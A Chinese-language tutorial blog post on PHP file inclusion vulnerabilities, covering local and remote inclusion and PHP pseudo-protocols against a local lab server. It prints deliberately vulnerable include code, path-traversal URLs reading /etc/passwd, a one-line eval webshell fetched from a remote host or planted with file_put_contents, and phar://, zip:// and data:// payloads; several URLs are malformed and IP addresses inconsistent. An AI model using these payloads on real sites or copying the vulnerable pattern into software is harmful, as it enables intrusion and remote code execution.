基于PHP的文件包含介绍

引言:在实际开发过程中,经常会遇到部分模块功能需要重复使用的情况,比如数据库的增删改查,文件包含通过将需要重复使用的功能模块代码引入其他文件的内容,实现重用代码、分离配置等。然而,如果文件包含操作不当,可能会引发所谓的文件包含漏洞,导致安全问题。

一、本地文件包含

这种类型的文件包含漏洞允许攻击者访问本地文件系统上的文件

利用需要满足的条件:

  • 1.php.init中的allow_url_fopen=On(默认开启)
  • 2.用户参数可控且后台代码没有对包含的文件进行过滤

例子:

在127.0.0.1的服务器下的跟目录下存在这样一个文件file_include.php,代码内容如下:

php 复制代码
<?php

#本地文件包含
#利用条件,php.init中的allow_url_fopen=On(默认开启)
#用户参数可控且后台代码没有对包含的文件进行过滤
$filename = $_GET['filename'];
include $filename;     //或include_once require   require_once
echo "Hello World";
?>

利用方式:

1.将txt的文件内容转换成PHP代码执行

http://127.0.0.1:8082/file_include.php?filename=phpinfo.txt

2.利用文件包含获取系统敏感文件内容

http://127.0.0.1:8082/file_include.php?filename=/etc/passwd

http://127.0.0.1:8082/file_include.php?filename=../../../../../../../etc/passwd

二、远程文件包含

此类型允许攻击者通过包含远程URL来执行代码。

利用需要满足的条件条件

  • php.init中的allow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启
  • 用户参数可控且后台代码没有对包含的文件进行过滤

例子:

在127.0.0.1的服务器下的跟目录下存在这样一个文件file_include.php,代码内容如下:

php 复制代码
#远程文件包含
#利用条件,php.init中的allow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启 
#用户参数可控且后台代码没有对包含的文件进行过滤
$filename = $_GET['filename'];
include $filename;     //或include_once require   require_once
echo "Hello World";

利用方式:

1.直接包含jd页面,跳转到jd页面

http://127.0.0.1:8082/file_include.php?filename=http://jd.com

2.在远程主机存在一台主机192.168.3.1,包含远程主机/test/shell.php文件 ,shell.php文件的内容为<?php @eval($_GET['code']);?>

http://127.0.0.1:8082/file_include.php?filename=http:192.168.3.21/test/shell.php?code=phpinfo(); 注意:此时执行的是127.0.0.1的phpinfo()命令

3.在远程主机存在一台主机192.168.3.1,包含远程主机/test/shell.txt文件 ,shell.txt文件的内容为<?php @eval($_GET['code']);?> 注意:此时执行的是192.168.3.1的phpinfo()命令

http://127.0.0.1:8082/file_include.phpfilename=http:192.168.3.1/test/shell.txt\&code=phpinfo();

3.在任意服务器上写入一段木马程序

在opt/phpstudy_pro/WWW/test目录下如一句化木马

file_put_contents("opt/phpstudy_pro/WWW/test",'<?php @eval($_GET["code"]);?>');

访问http://127.0.0.1:8082/file_include.php?filename=http:192.168.3.1/test/shell.php?code=phpinfo();

三、伪协议

  • 1.file://伪协议用于访问本地文件系统中的文件。这个伪协议可以直接操作本地文件,包括读取、写入等操作。
  • 2.http:// 和 https:// 伪协议用于发送HTTP请求并获取远程资源的内容。这包括获取网页内容、向远程服务器发送数据等。
  • 3.ftp://伪协议用于访问和操作FTP服务器上的文件。这包括上传、下载、删除等文件操作。
  • 4.php://伪协议用于访问各种输入/输出流。例如,php://input用于读取POST请求的原始数据,php://output用于写入输出缓冲区的数据
  • 5.data://伪协议用于在脚本中直接嵌入数据。这个伪协议允许开发者在代码中直接定义和使用数据,而无需借助外部文件。
  • 6.glob://伪协议用于查找匹配特定模式的文件路径。这对于搜索符合某个通配符规则的文件非常有用
  • 7.phar://伪协议用于操作PHP归档文件。这是一种将多个PHP文件打包成一个单一文件的方式,方便分发和部署。
  • 8.ssh2://伪协议用于通过SSH2协议访问远程资源。这主要用于安全地访问和操作远程服务器上的文件和数据。
  • 9.rar://伪协议用于操作RAR压缩文件。这允许开发者在PHP中直接读取和处理RAR文件。
  • 10.ogg://伪协议用于处理音频流。这允许开发者在PHP中直接读取和操作音频数据流。
  • 11.expect://伪协议用于处理交互式数据流。这允许与需要用户交互的应用程序进行通信,如命令行程序提示输入用户名和密码等情况。

常用的伪协议

1.phar://主要用于在PHP对压缩文件的读取,用法就是把一句话木马压缩成zip格式,shell.txt->shell.zip 将文件上传到服务器目录下

http://127.0.0.1:8082/file_include.php?filename=phar://shell.zip/shell.txt

2.zip:// 原理和phar:// 差不多 注意:压缩的/符号要改成#的url编码,也就是%23

// http://127.0.0.1:8082/file_include.php?filename=zip://shell.zip%23shell.txt

3.data:// 本身是数据流封装器,其原理和php://input类似,但是是发送GET请求参数

http://127.0.0.1:8082/file_include.php?filename=data://test/plain,\<?php phpinfo(); ?>

相关推荐
上海锝秉工控16 分钟前
防爆拉线位移传感器:工业安全的“隐形守护者”
大数据·人工智能·安全
CHENWENFEIc30 分钟前
SpringBoot论坛系统安全测试实战报告
spring boot·后端·程序人生·spring·系统安全·安全测试
苦夏木禾1 小时前
js请求避免缓存的三种方式
开发语言·javascript·缓存
超级土豆粉1 小时前
Turndown.js: 优雅地将 HTML 转换为 Markdown
开发语言·javascript·html
你不知道我是谁?2 小时前
AI 应用于进攻性安全
人工智能·安全
wei_shuo2 小时前
飞算 JavaAI 开发助手:深度学习驱动下的 Java 全链路智能开发新范式
java·开发语言·飞算javaai
熊猫钓鱼>_>2 小时前
用Python解锁图像处理之力:从基础到智能应用的深度探索
开发语言·图像处理·python
GO兔2 小时前
开篇:GORM入门——Go语言的ORM王者
开发语言·后端·golang·go
好开心啊没烦恼3 小时前
Python 数据分析:numpy,抽提,整数数组索引与基本索引扩展(元组传参)。听故事学知识点怎么这么容易?
开发语言·人工智能·python·数据挖掘·数据分析·numpy·pandas
薄荷椰果抹茶3 小时前
【网络安全基础】第一章---引言
安全·网络安全